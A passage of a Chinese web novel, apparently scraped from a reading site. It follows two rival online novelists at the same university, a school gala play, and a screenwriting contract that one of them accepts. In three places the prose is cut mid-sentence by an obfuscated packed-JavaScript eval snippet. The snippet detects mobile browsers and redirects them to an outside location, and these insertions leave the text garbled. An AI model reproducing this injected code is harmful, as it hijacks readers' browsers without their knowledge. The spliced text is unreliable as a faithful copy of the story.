男主角已经从舞台的右边跑到了左边，又跑到中间，最后把号角放在开场就准备好的道具桌子上，一个白衣人上场在男主角背过身去看不到的时候把号角拿下了台。 男主角踱步介绍完了自己的小裁缝身份说着台词：“今天是中秋节，我要约上我最要好的朋友们一起做最好看的衣服！” 他扫视一圈，夸张地找来找去，崩溃跪地，大叫：“我小号角呢？！” 众人纷纷被他好笑的表演技术逗乐。 突然，从台下窜出来一个仙女，拿着两个儿童玩具号角，问：“可爱的小裁缝，你掉的是这个金号角还是这个银号角呢？” 男主角一下子跳起来：“我的小号角比它们都大，比它们都好看！” 仙女又掏出两个稍微大一点的号角，男主摇头说：“还要大。” 仙女张口吐槽道：“再大可不就是小号角了。” “哈哈哈哈哈哈。”观众们非常捧场地笑出声。 后边的幕布上又闪过微信界面的动画，小裁缝在群聊里喊“我的号角不见了！”，小伙伴们惊讶惊恐：“那我们该如何相聚？” 动画被晕染开，闪出了剧名《小号角》，右下角标着作者——言不言。 场下又响起捧场地呼声，颜语凉能听到前面有人在跟状况外的朋友科普“言不言是咱学校艺院的学长。” 颜语凉知道小号角讲了什么，虽然剧情稍微经过了一些修改，他还是觉得有些尴尬，垂头没事人一样逗弄祝君忱怀里的猫。 32. 想不通 “小裁缝发现其实不用小号角也能和朋友们相聚，反而一个个拜访更能拉近彼此的距离，那他以后还会用小号角呼唤朋友们吗？”祝君忱垂头问他。 “啊？”颜语凉有点懵地停下了戳小猫聪明毛的手，他都不知道台上演到哪了，闻言也随口扯道，“应该会吧，毕竟打微信电话更方便啊。” 《小号角》谢幕，惹了好一片掌声，一个舞蹈串场后，颜语凉抬起头很是期待地去看舞台，他格外想看把织女和嫦娥拼在一起是怎样的故事。 也是大屏幕上先放动画，第一幕是织女牛郎在鹊桥相会的画面，喜鹊飞散变成了一个又圆又亮的月亮，月亮拉近，上面有一个惆怅的姑娘，就是嫦娥了。 织女逃跑闯进了广寒宫，和嫦娥打了个照面。 大屏幕上一边在播，台上穿着优雅精致汉服的两个女孩也就位了。 最后，屏幕上跳出两行大字—— [七夕到中秋，织女逃跑用了整整38天] [才逃到月球。] 这一片有人离场，颜语凉他们已经往前靠了许多，这个位置看大屏幕恰巧能看得清清楚楚。 颜语凉讶异地同旁边的人说：“除了我俩居然还有人无聊到算了中秋和七夕之间差多少天？” 他细细品了下这个开头，不无夸赞道：“这个开头好好玩啊，话剧社哪找的这么好的剧本，往年不都是走的童话风吗，今年终于弄到个神话风。” 他正要说回头问问话剧社社长这剧本是网上摘的还是请同学写的，都被接下来大屏上展示出来的文字卡在了喉咙里。 [作者：今辰好] ？ ！ ？？！ 不仅颜语凉瞪大双眼，场下其他人也哗然。 但凡沾点小说的人，谁不知道言不言和今辰好是网文圈互黑互怼两尊大佛？ 今宵竟然一起出现在了大屏幕上。 “不是，他……”颜语凉想开口却被呛了一下，重新组织自己的语言道，“今辰好也是A大的吗？我还以为他是小老头呢。” 祝君忱脸上却没有露出什么别的表情，反而有些平静地侧头问颜语凉：“哪里看出来的？” “文名啊，”颜语凉又开始掰手指，像在数今辰好的桩桩件件。“什么《账本》《疤病》《落日鸟》《尘封水》，还有前阵子的《海纳百石》，我觉得不上点年纪想不出来这文名。” 祝君忱在他没注意到的时候表情灰了两秒，在颜语凉侧身往他身后躲的时候恢复如常，不太理解颜语凉在做什么，问：“怎么了？” “我在明敌在暗，我得小心点，我们校区可不少人知道我是言不言，万一那玩意突然冲出来给我来一刀怎么办？”颜语凉露出警惕的表情，就像一只正在窥探猎物的小猫。 颜语凉口中的“那玩意”正在任劳任怨地替他抱着宠物猫。 祝君忱：“……” “万一我是呢？” “啊？”颜语凉一瞬间没听懂他说什么。 祝君忱转过身面对着他，沾上一些他自己都没察觉到的紧张，重复道：“万一我是今辰好呢。” 颜语凉第一反应是看他怀里的想想，闻言抬眼和他对视上，歪了下脸笑道：“你？不可能。” “为什么？”祝君忱棕灰色的眸中闪过一丝情绪。 颜语凉一摊手：“你是今辰好我能活到现在？” “你是今辰好的话，那我问你那天我告诉你笔名的时候为什么没把我打一顿？”颜语凉没等祝君忱说什么，继续解释道，“而且你们文风根本不一样啊。” 祝君忱被他说服了。 颜语凉并没有纠结他为什么突然问这个问题，注意力全放在舞台上的那三个字上，最后总结道：“可能是今辰好正好写了个跟中秋有关的故事，话剧社自己去改过来的吧。” 祝君忱看他站在自己身侧，有些郁闷地应道：“有可能。” 颜语凉觉得这个猜想是最有可能的，毕竟和网络上的死对头在同一个学校这件事的概率还是太小了。 他很快平静下来，但是和他们走散的几个朋友却没那么平静。 [地球研究小组（4）] 【桃女王】：我天，言爷你在操场吗？ 【桃女王】：今辰好他也是A大的吗？！ 【桃女王】：为什么我在学校普普通通的晚会还能看见他的名字！！跨火盆了！ 【桃女王】：@程和欢，小程秘书，3秒钟我要知道今辰好所有的信息 【程和欢】：。 【我是走远】：霸总秒变小秘书了 【桃女王】：@我无言以对，你和小艳在哪啊？ 【我无言以对】：我们在操场 【我是走远】：能问下小颜同志和今辰好在同一个学校的感想吗？ 颜语凉一边看着舞台上的女孩们谈着天，心说今辰好这个剧场写得还挺温馨，垂头又去给好友们发消息告诉他们自己的猜想。 【我无言以对】：可能是网络上摘了改的吧，正好改到今辰好写的了？ 【桃女王】：不是，言，你见过他写过织女还是嫦娥？ 【桃女王】：如果有的话当我没说，但是据我所知，今辰好没写过这东西 颜语凉正欲辩解，说万一是犄角旮旯里的小文章啥的。 【我是走远】：小颜同志，我找了话剧社社长，他说这次的三个剧本全是负责剧本的老师投过来的。 颜语凉把对话框里写的东西通通删光了，转而扣了个问号上去。 【我无言以对】：我没记错的话，负责剧本的，是我导师？？？ 【桃女王】：此人被导师背刺了 【我是走远】：此人被导师背刺了 【程和欢】：此人被导师背刺了 没道理啊。 颜语凉CPU有些烧，如果这个剧本也是陆择挑的话，他根本不会去挑今辰好的。 “怎么了？”祝君忱察觉到他表情有些钝，为了让他听清楚自己说话站得近了一些，问道。 颜语凉咬了下唇说：“想不通。” “想不通什么？” “话剧社说，这部今辰好的话剧也是我导师挑的，我觉得他不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758108|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 特地上网找今辰好的作品作为这次中秋节的话剧，”颜语凉盯着地球研究组里面不断跳出来的消息，顿了一下继续说，“那现在只有一个可能，那就是他确实是我们学校的，但是一般来说，没人会闲得没事给中秋节晚会投作品，陆老师都是内邀或者网上作品改编，不是改编的话，那就是他邀请到今辰好本人了。” 颜语凉分析到这，突然想起来某天下午陆老师前阵子问他青书比赛的事。 “祝君忱怎么样？要不要换个搭档？”确实很奇怪，难不成祝君忱真是今辰好？？？ 这是颜语凉离正确答案最近的一次，不过他很快就把这个想法掐断了。 祝君忱不可能是今辰好。 不然说不通的地方可就更多了！ 首先今辰好不可能对自己这么好，尤其是知道他笔名后还天天拉着他吃早饭。 而且祝君忱刚刚就那么水灵灵地自爆自己是今辰好，不怕他当场跑路吗？！ 颜语凉想不明白，抬眼和祝君忱撞上目光，这人的眼底根本没有一丝慌乱，坦荡得很。 如果他真是今辰好的话，这会儿还能坦荡接受他的注视吗？ 肯定不行啊。 祝君忱眼底的光在绰绰的灯光下显得柔和，说：“反正他又不跑出来惹你，想不明白就不想了。” 颜语凉头一点，祝君忱所说的恰恰合他的性子，就算真去问导师，估计也问不出个所以然来，就算真知道今辰好是何方神圣了，他难不成还能套个麻袋给人打一顿不成？徒留自己不快罢了。 他抱着平常心态，去看舞台上的话剧，女孩们的表演已经在收尾阶段了，颜语凉偏头去问祝君忱：“你刚刚一直在看？这个讲了什么？” 祝君忱手上抚着想想，娓娓道来：“七夕和中秋差38天，织女逃亡38天穿越银河来到了月球，和嫦娥互诉衷肠，织女得知嫦娥百年万年都没见过后裔了，不禁心生怜悯，嫦娥帮助织女逃过王母娘娘的追捕后，织女用自己的喜鹊大军带嫦娥回到地球去见后羿，是一个思念终有所归的故事。” 颜语凉听了，沉吟片刻，恶评道：“无聊，和海纳百石一个主题。这人肯定是这段时间写幻想神话写疯了。” 祝君忱：“……” 如果没记错的话，颜语凉在没看到作者是谁之前还在夸这个作品的开头很有意思，脑洞很大。 “你觉得呢？”颜语凉向左边迈一步，胳膊贴着他的，一触即分。 祝君忱愣了一下，低头轻笑了一声，跟着他一起诋毁自己：“我觉得，你说得对。” 台上的两位扮演者鞠躬下台，同样获得了一片不小的掌声。 有人在兴奋地跟旁边的人说：“这个故事看起来讲得是恋爱脑追逐爱情，实际上是在写‘girls help girls’啊！” 旁边的人大笑起来，撞她一下，说：“你小心点，言不言本人在你身后站着呢。” 颜语凉在校内风评好，这样无恶意的小玩笑完全在他的接受范围之内，前面的人闻言转头看了他一眼，颜语凉露出一个官方的笑，抱着胳膊说：“Hi。” 33. 总编剧 这个小插曲颜语凉其实蛮在意的，但是后面又上了几个好玩的节目他便暂时抛在脑后了。 晚会结束已经靠近十点。 颜语凉以前其实不怎么爱看学校的晚会，每次都是看到一半就兴致阑珊，他把这次的兴致高涨归功于祝君忱在自己身边。 事实上也确实是这样。 几个友人看到后半场就去玩别的项目了，他俩居然站在台下有一搭没一搭地聊着天站满了两个小时。 他们聊的话题也很多，关于晚会节目内容的倒很少，从《小姐小姐》一路聊到自己平时的写作习惯，从张爱玲聊到黑塞，从《复活》聊到《浮士德》，颜语凉还给他分享了更多自己与今辰好的吵架心得。 秋天正是适合站在风里热聊的季节。 颜语凉感觉和祝君忱聊天就跟在家里睡觉一样舒服。 以前他把睡觉排第一，写小说排第二。 现在他打算把和祝君忱待一块放第一，其他都往后挪。 晚会结束后，看着时间差不多，他们便打算回家。 天上的月亮又亮又圆，晚风温柔地拂过耳畔，挑起几缕头发，像在诉说着落叶的故事。傍晚过来的时候两人到的时间相隔没有很长，后来祝君忱停车便跟颜语凉停在了一处。 正当祝君忱要启动小汽车出库时，有人敲了敲车窗。 祝君忱把车窗往下摇，看见颜语凉站在外边，微微往前探了些问：“怎么了。” 颜语凉冲他招招手，示意他出来。 夜空很高，也很辽阔，一点一点地缀着星子，映在颜语凉含笑的眼睛里，他神神秘秘地把手背在身后，抬眼看着祝君忱说：“我要送你个礼物。” 颜语凉眼睛一眨，补充道：“算是迟来的见面礼吧。” 祝君忱眸光微动，看见他把背在身后的纸袋子递给自己。 “我们不是已经认识好长一段时间了吗？但是我对你的喜好仍然不是很了解，唯一知道的大概就是你喜欢做饭？疑似新东方出身的手艺。”颜语凉摸了下鼻子，没来由地紧张，“我总不能给你买个平底锅，所以我买了个容错率最高的，是一瓶香水，他的名字叫‘冰蓝玫瑰心事’，购物软件上其实更推荐另外一个味道，但是我看见这个名字就想起来你家茶几上的那簇永生花，我觉得应该不会踩雷。” 祝君忱耐心地听他说完，低头看着手里的纸袋子，突然感觉分量重起来，轻声说：“谢谢。” 其实颜语凉从来没有这么正式地给某个朋友送过礼物，那几个打打闹闹就熟起来的朋友想送礼物就送了，也不用管送的东西掉不掉价合不合礼仪。 而祝君忱是他真正意义上亲自交的朋友，是两个人的友谊小船，而且说实话，这个朋友在他心里占了很大一角，这个礼物他挑了很久，某个想法蹦出来他总会第一时间去想合不合适。 现场的氛围被他有些局促的表现弄得有些尴尬，颜语凉皱了下脸，开着玩笑缓和气氛：“你明天就试试呗！” “好。”祝君忱一口应下。 “然后给我写个用后感。”颜语凉得寸进尺。 “……好。” 颜语凉没想到这祝君忱都能应下来，得尺再进尺：“要一万字。” “……”祝君忱没再说话了，待到颜语凉要改口时，却说，“直接给他写本小说？” 颜语凉眉头一挑：“这能写什么？” 祝君忱脑筋转得快，他本就擅长写小说，这会儿脱口而出编了个故事：“蓝玫瑰里有个拇指姑娘，拇指姑娘喜欢制香，但是后来人类把所有的蓝玫瑰全都摘去要么药用、要么观赏，姑娘再也找不到一支纯粹的蓝玫瑰，但是她跋涉万里找到了世界上最后一朵蓝玫瑰。” 颜语凉眼冒星星：“好诶，会有爱情线吗？” 祝君忱想了一下：“有，她身边有一个小男孩，其实小男孩一直知道蓝玫瑰在哪，不过一直在考验拇指姑娘。” “写吧。”颜语凉大手一挥替他宣布了，“言不言力荐。” 祝君忱低头笑了一声，继续编道：“男孩之前受雇于人类替他们找寻蓝玫瑰，后来改过自新了。” 颜语凉向他投去遗憾的目光，说：“我真的很想知道你的笔名。” 祝君忱歪了下头，进行今日的第二次自爆，说：“我是今辰好。” 颜语凉佯装不悦揍一拳对方的肩膀，力道却轻得像小猫勾人：“别瞎说了。” “走，回家吧。”说罢转身进了自己的车里。 祝君忱看着他利落的背影，闷头笑得无奈：“说了又不信。” * 到家已经十点半。 颜语凉推开门，想想从他的怀里跳到地上，回到熟悉的地盘它开始放松起来，在正在换拖鞋的颜语凉脚边转了两圈便迈着猫步去吃粮了。 颜语凉脑子里复盘着先前晚会时跟祝君忱聊的《小姐小姐》，走进书房，打开电脑打算顺一点剧情。 他出门前在电脑上登录了微信，电脑一直待机着，他一打开就能看见消息内容。 颜语凉又有一段时间没看微信消息了，这会儿顺便就看一眼，短暂的加载过后消息一条条弹着，有地球研究小组之前的聊天，也有一些学校宣传群的消息，最后有一条消息跳到了最上面。 是他在尽书网的编辑发的，按理说最近编辑应该没什么事找他，上一次联系还是上本书完结的时候签出版权的事。 颜语凉单手支着下巴，有些困倦地点开编辑的聊天界面。 【编编慕唯】：小言，光耀森灵的影视合同发你邮箱了，你博客私信提示关了看不到他们消息，有时间可以看一下。 【我无言以对】：什么剧本？ 编辑总是很忙，回消息不会很及时，今天倒是破天荒地秒回了。 【编编慕唯】：…… 【编编慕唯】：你去看一下吧，建议慎重考虑哦。 这是制片公司第一次通过尽书网找他签影视版权，前两次《账本》和《尘封水》都是颜语凉主动找的导演或者影视公司，其余两次是对方通过合作微信主动联系他的。 颜语凉的困意消散了一些，接剧本这件事其实不在他接下来的计划内。 但是肯定会慎重考虑啊，感觉平时理性武断的编编今天怪怪的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758109|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他小幅度地打了个哈欠，眼神往下走看了眼时间心里给自己定了个睡觉的点，手上娴熟地点开邮箱，看到了一封最新邮件。 估计是尽书网的小说改剧吧，不然一般发短信或者打电话就行了，不必劳烦编编。 颜语凉点开那封邮件，看到标题的那一刻他的眼睛猝然睁大，感觉自己是不是已经困到做梦了，或者是年纪到了眼睛花了，亦或者是电脑中毒了。 他眼疾手快地把网页关了，重新打开。 【《海纳百石》影视改编权授权合同】 【《海纳百石》影视改编总编剧聘用合同】 网速很好，加载很快。 白纸黑字，清晰显示。 但是颜语凉要吓死了。 不是，今辰好脑子被门夹了吗？ 这合同居然真能到他手上？ 不会是诈骗吧。 一瞬间，颜语凉的所有困意都被这封邮件驱散了，他先是给编辑发了个问号，然后点开手机博客找到了光耀森灵给他发的邀请信息。 [光耀森灵工作室]：言不言老师您好！我们正在筹备《海纳百石》的影视改编，请问您有意向来担任总编剧吗？具体合同已经发送至您的邮箱，期待您的回复！ 颜语凉点开这个博客，确定这是光耀森灵公司本司而不是高仿，然后开始怀疑人生。 和他之前跟祝君忱说的一样，有了《尘封水》的帮扶，《海纳百石》的身价涨了不少，他记得《尘封水》刚开始的时候只是一个小小的工作室账号在宣传，可怜巴巴的就像个小蚂蚁，看见障碍物只能绕道走。 现在直接请来了光耀森灵这尊大佛。 【编编慕唯】：我问过今辰好的编辑季愿老师了 【编编慕唯】：季愿说今辰好他愿意。 【我无言以对】：？ 【编编慕唯】：真的 颜语凉想起来快半个月前有人问今辰好《海纳百石》编剧能不能是言不言，结果对方直接把选择权甩到他手上的事。 当时他以为对方是要借机挖苦自己，没想到这下是真把版权合同甩过来了。 这今辰好什么时候知道投桃报李了？ 有鬼。 颜语凉腹诽着去看合同，心说指不定在合同的哪个地方跟他玩文字游戏坑他呢。 他抱着今辰好一定是想在合同里做文章的心思认真地逐字逐句看合同。 看到某行字，他又惊讶地抻了下脖子，不由自主地数了起来。 数完的那一刻，他突然觉得就算导演是今辰好本人他都能接受了。 嗯，片酬和《尘封水》的相差不大。 也就多个0。 颜语凉发现自己的心跳有点重，说实话他很开心。 他分不清这份开心是源自于《海纳百石》剧本本身还是单单因为片酬太多见钱眼开。 他满腔欣喜无处宣泄，先在地球研究小组里发疯似的发了十几个表情包，然后先把这个消息告诉了祝君忱。 【我无言以对】：大师！！你算得好准！！发财了！！ 【忱.】：大/乐/透中奖了？ 34. 我喜欢 【我无言以对】：不是。 【忱.】:文创月饼里有金条？ 颜语凉眼看他猜测的方向越来越远，一把拽回来告诉他。 【我无言以对】：今辰好脑子真的坏了 【我无言以对】：我居然真的收到了《海纳百石》的改剧版权 做好事不留名反被骂的祝君忱：…… 【忱.】:你想签吗？不用勉强自己。 颜语凉沉吟好一会儿，他已经从刚看到邮件的过度欣喜中挣脱出来。 其实差不多半月前，祝君忱问他想不想签《海纳百石》的时候他心里就有一个答案了。 抛开一切不谈，就光这个剧本本身，颜语凉说不喜欢是假的。 所以他当时只是站在今辰好的角度对祝君忱解释自己接到的可能性几乎为0，而不是恶语相向说这本书哪里哪里不行。 当然他也不可能对对方说他其实蛮想接的，因为那本书的作者是和自己水火难容的今辰好，显得他倍没面。 颜语凉生来就喜欢漂亮的、舒服的文笔。 今辰好之前的文章有很多人说生硬、干巴，但其实字里行间藏着许多柔情，尽管那些柔情都被磨得像一层灰土。 而《海纳百石》就像作者终于磨尽了那些掩面的尘土，开出的一朵娇艳美丽的山茶。 像是对方的另一种尝试，纵使这支花开得没有艳压芳丛，但是足以让颜语凉忽略满园春色。 对今辰好嘴毒一万年的颜语凉难得没有在这篇文章中找到任何吐槽点。 【我无言以对】：说实话吗？ 颜语凉本来想说他其实很喜欢《海纳百石》这本书，就像他那天在小酒馆轻描淡写但其实又是记忆犹新地把“粉色心脏”和它联系在一起一样。 但是他还是没好意思告诉祝君忱。 【我无言以对】：说实话，他们给的太多了我拒绝不了 祝君忱的微信昵称陷入一阵“正在输入中”。 地球研究小组发来了消息，忙碌的颜语凉转战群聊。 [地球研究小组（4）] 【我无言以对】：（抓狂.jpg）x8 【我是走远】：？ 【我是走远】：怎么一到家就疯了？ 难得的，廖寻桃没有出现。 【程和欢】：？ 颜语凉嘴角一勾，感觉都能想象出几位友人的表情，放出重磅炸弹。 【我无言以对】：我又要接剧本了。 【我是走远】：哦。 【我是走远】：别跟我说你又要去接今辰好的剧了。 颜语凉眨眨眼，发了个龇牙过去。 【我无言以对】：他们给的太多了。 【我是走远】：…… 【我是走远】：小颜同志，你是不是好了伤疤忘了痛啊 【我是走远】：@程和欢霸总上截图！ 颜语凉的表情又一瞬间的迷茫，然后就看见程和欢一秒发来了个截图，是他三月底在《尘封水》剧组改剧本改哭，改到深夜三四点在群里发的一条毒誓——“再接今辰好的剧我就是狗！” 当时好友们都在调侃：你还惦记着下一次呢？ 没想到这个下一次这么快就来了。 颜语凉盯着那张截图良久，邹煜安的话尤其多，一直在哐哐哐调侃他，他盯了一会儿，发了个可爱的线条小狗表情包。 重复道—— 【我无言以对】：他们给的太多了。 邹煜安不信邪问给多少，颜语凉报了个数。 【我是走远】：狗富贵，勿相忘。 【我无言以对】：滚。 进行完这组对话，邹煜安似乎终于想起来今晚廖寻桃为什么一直没有在群里发声，转移话题cue了她两句却没有获得回应。 颜语凉猜测道：“写小说去了？或者睡了吧。” 群里便安静下来，他离开这个界面看见刚刚“正在输入中”的祝君忱发来了三条消息。 【忱.】：如果你改他的剧不开心的话，就不要签了。 【忱.】：钱哪里赚不了。 【忱.】：你说的，自己开心最重要。 颜语凉想起来那天彩龙街夜市自己说的那句话，被对方原封不动地送回来。 感觉自己的心口被掐了一下，软下去一片。 当初装修他的小书房的时候，特地装了个有两种颜色的顶灯，一种就是普通的白炽灯一种则是黄一点的氛围灯，他喜欢护眼的昏灯，总觉得这样的环境里码字会更快一点，后来他觉得还不够，码字的时候只开一盏台灯，台灯的光线亮得突兀，周遭一米远的地方便会陷入黑暗，他会在码字停下来的间隙里去看那条不太明显的明暗交界线。 现在就是这样，只开了盏台灯，颜语凉垂下眼帘的时候眼皮子上落着光，抬眼光就飘进了眼睛里，亮晶晶的。 他三两下在尽书上登录自己的账号，点开了在书架上的《海纳百石》，由于它已经完结快一个月了，被其他的最近阅读挤到了后边。 他不假思索地点开这本书，上一次阅读到全文完的部分，他点开目录点进第一章。 [万籁生山，一星在水。] [在千座万座山水的尽头有一片她魂牵梦萦的海。] [住在那一片的海民总是侃侃：“海是有心跳的。”] 这是《海纳百石》的开头。 颜语凉弯了下眼，橙黄的光把他下颚的轮廓勾勒得不太清晰。 他垂头打字回复祝君忱。 【我无言以对】：我没有不开心。 【我无言以对】：给我等着。 【我无言以对】：小言同志这次要给今辰好亿点点震撼 对话框的微信名字闪了一下，对方的消息便弹出来。 【忱.】：好，我很期待。 颜语凉陡然生出一种正在同今辰好对话的错觉，明明对方只是说了句期待。 可能是因为祝君忱今天跟他开了两次自己是今辰好的玩笑吧。 亦或者是他的信念感太强了。 他晃了晃头把自己脑子里乱七八糟的想象甩开，于是垂头跟祝君忱露出本性来。 【我无言以对】：小小《海石》拿下！ 【我无言以对】：言不言万岁！今辰好滚蛋！ 刚还有点感动，有点期待的祝君忱：…… 于是第二天早饭准备了几颗温泉蛋让他自己滚去。 颜语凉当晚跟编辑说了自己决定接下《海纳百石》的事，第二天就给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758110|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光耀森灵工作室回了邮件和私信。 约过时间签了纸质合同后颜语凉便更忙了。 首先是青书比赛的事，剧本要在国庆之前就写完，他和祝君忱把大致的剧本写完后还得对在一起打磨。 其次就是一闲下来颜语凉就想去写《海纳百石》的剧本，他每次对于写新剧本总是兴致更高些，早期写文的时候被读者喻为“挖坑狂魔”。 某一天周三，下了编导课后，颜语凉总感觉满脑子灵感都要溢出来了，直接跑回家从傍晚埋头写到凌晨三四点，谁的消息都没记得回。 前阵子他问了祝君忱平时用什么码字软件，发现他们常用的竟然是同一个，便加上了好友。 这个码字软件上有个功能叫码字同桌，就是和一个人绑定，能知道对方的在线时间、码字时间、码字字数，云云，还能在对方摸鱼的时候扔番茄、锤子、鲜花催促。 颜语凉写小说那么多年，从来没用过码字软件的码字同桌功能，和祝君忱加上好友的那一刻鬼使神差地邀请了。 他还有些担心会被拒绝，毕竟祝君忱都不想把笔名告诉他，但是对方似乎没多犹豫就同意了。 那天他写剧本写到凌晨，一边昏天黑地的困，一边又觉得爽，看到码字同桌三点钟敲了他一下还以为是在做梦。 颜语凉当场给祝君忱发了消息过去。 【我无言以对】：？ 【我无言以对】：怎么还没睡 【忱.】：睡了一觉，醒来发现你还在写。 颜语凉当时困得不行，脑子里还绕着某段酸涩到牙疼的剧情，完全没有察觉到对方为什么会突然醒来，囫囵说了句晚安便睡去了。 早晨自然是被删除了，颜语凉直接睡到十一点，他习惯性地翻开手机去看微信置顶的消息。 祝君忱每天都会催促他去吃早饭，但是今天没有。 【我无言以对】：？ 【忱.】：？ 颜语凉还不大清醒，往上翻着和祝君忱的聊天记录，发现自己说晚安前顺嘴还骂了句今辰好这边剧情如何如何，把自己的晚睡全推到了对方头上，但确实没有让他下楼吃早饭的消息记录。 【我无言以对】：我的早饭被谁克扣了？ 祝君忱没有立马回复，颜语凉直觉感觉对方的心情没有那么美妙。 【忱.】：这个点保温箱里的早饭都凉了。 【忱.】：直接吃午饭会比较好。 但是对方的回复却是一切正常，仿佛颜语凉的直觉都是错的。 他有一瞬间的狐疑，因为他之前起得晚祝君忱也都是每天把早饭摆在保温箱里等着他去“试毒”的。 颜语凉盯着他这句话，内心不由得有点慌，如果祝君忱每天都这么想，以后都没早饭吃了怎么办，他好不容易养了半个月的吃早饭好习惯，可不能在这一天功亏一篑。 颜语凉摆弄着手机装可怜：“那我以后都没有了吗？” 【忱.】：有 颜语凉松了一口气。 但是下一秒他一口气又吊了上来。 【忱.】：如果你不喜欢的话 祝君忱这句话才发一半，还在纠结下一半的语言组织，颜语凉就连忙否定了。 【我无言以对】：我喜欢！ 35. 巧合多 颜语凉手快发完这句话，后知后觉有些脸热，暖流一直从脖颈滚到胸口。 “怦怦”直跳。 天气已经足够凉，屋里没有开空调，颜语凉呼出一口气，探着身子坐上飘窗把窗户打开了，丝丝缕缕的凉风钻进来，他才好受一些。 想想晚上不知道跑哪个犄角旮旯里睡了，这会儿看见他醒来便迈着小步子靠近他，跳上床，跳上窗台，趴在了他的脚边。 颜语凉把它抱进怀里，把手机拎过来继续看消息。 【忱.】：好。 【忱.】：我正好刚回家，楼下新开了一家云吞店 【忱.】：去尝尝吗 【我无言以对】：马上来！ 颜语凉一个翻身就从飘窗翻到床上，再一个翻身就下了床，小猫跟在身后，像他的小跟班。 他洗漱更衣完毕，下楼去找祝君忱，前一夜因熬夜而感到疲惫的心情在见到对方的那一刻一扫而空。 后来几天颜语凉因为剧本创作熬夜的时候总能看到自己的码字同桌也在线，《小姐小姐》的创作没几天就落下了帷幕，经过一些细微的修改后，便早早地提交了。 所以最近他都在准备《海纳百石》的剧本，睁眼闭眼全是这本书的剧情线和感情线。 他看到祝君忱在线好几回，但是码字字数却没有上涨，某天晚上终于忍不住了有些奇怪地问他开着码字软件不写东西是在干什么。 祝君忱直言不讳：“在看你什么时候睡觉。” 颜语凉刚要说他自己也不知道写到什么时候，兴许是这段剧情过完，又或许困得支不住就直接睡去了。 祝君忱把上句话说完了：“判断一下明天要不要给你准备早饭，太晚吃，影响吃午饭。” 颜语凉乐了，夜已经很深像一道难见底的渊，他的码字软件上满满的全是字，此刻停下了敲键盘的手，垂头发消息。 【我无言以对】：看你研究好几天了，研究出什么了？ 祝君忱倒还真说出了点所以然来。 【忱.】：如果超过三点就不用准备了，你一般要睡到十一点，三点前睡的话可以准备着，有时候你可以赶上吃早饭有时候赶不上，一点前睡一般都能八点起。 颜语凉心说这人归纳总结能力还挺强，转而看了眼时间，已经偏近三点了，脑仁一跳意识到一件事。 【我无言以对】：你明天不是早八吗？这么晚还不睡没事？ 祝君忱没说有没有事，只是说：“我再看会书。” 颜语凉油然生出一种被陪着的感觉，但是又很有罪恶感，他脑子里的思路其实已经不大清晰了，闷头敲字道：“我马上睡了，你快去睡觉吧，我睡觉跟你说一声就行，你不用陪我熬大夜。” 【忱.】：好。 【忱.】：明天呢？ 【我无言以对】：明天也说。 颜语凉盯着自己说的话，书房的窗户被他开了一条缝，此刻风卷着夜晚的湿漉进来卷起了丝丝粘稠的困意，他陡然想起来自己曾经为数不多谈过的恋爱。 前任人很不错，却总是头痛颜语凉写小说的时候爱玩失踪，千次万次地跟他说能不能提前报备一下什么时候开始写文了，什么时候结束了，别让人凭空担心就行。 可执行没几天，颜语凉就感到无形的束缚，仿佛十根锁链纷纷捆住了自己的每根手指，连带着思路也滞涩起来——原本随心所欲的事，竟成了需要提前预告、事后汇报的任务。 这份感情也就那样草草地无疾而终。 一个人的时候他总是爱写就写，爱睡就睡，根本不用向任何人交代。 他喜欢自由，纵使这个要求其实并不高且出发点不是为了制约他，后来颜语凉想，兴许他不是喜欢自由，而是太自私了，不爱把自己的时间分给爱人而已。 但是现在面对祝君忱，他却主动献上了自己的时间。 就像养猫，其实这件事在生活中会在很多地方绊住他，但他还是欣喜地愿意宠着它、捧着他。 颜语凉盯着祝君忱后边回复的那句“好”。 还是没相通自己为什么这样，祝君忱又不是猫，想起来论坛里对他的评价“双标”，或许他就是双标吧。 颜语凉这样的双标式报备，只持续了三天。 不是因为他三分钟热度，而是国庆节到了，他收拾收拾行李要回家去。 中秋节那天中午，奶奶给他打了电话，提前问了颜语凉的假期，还有想吃的东西，估计到家就能吃到一顿妥帖的晚饭。 这几年，每逢长一点的假期颜语凉都会和友人们约好坐一趟车回家，大多数时候会有人缺席，诸如廖寻桃要去别的地方旅游啦，邹煜安要跟项目啦，程和欢被事绊住啦，云云，但是这次人很齐。 他们在车站汇合。 颜语凉顺路去学校接了邹煜安一起，到的时候廖寻桃和程和欢已经站在入站口等了好一会儿了，隐约能听到站内广播嗡嗡地响。 “hello！”廖寻桃老远就看见了他们，直冲他们挥手，“我都听到里面开始检票了！” 